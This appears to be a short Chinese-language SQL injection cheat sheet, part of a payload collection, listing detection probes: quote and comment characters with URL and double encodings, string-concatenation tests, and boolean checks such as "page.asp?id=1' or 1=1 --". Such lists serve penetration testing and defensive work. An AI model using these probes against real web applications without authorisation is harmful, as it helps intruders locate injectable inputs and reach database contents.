判断注入
简单字符¶
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
编码¶
%%2727
%25%27
合并字符¶
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
逻辑测试¶
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false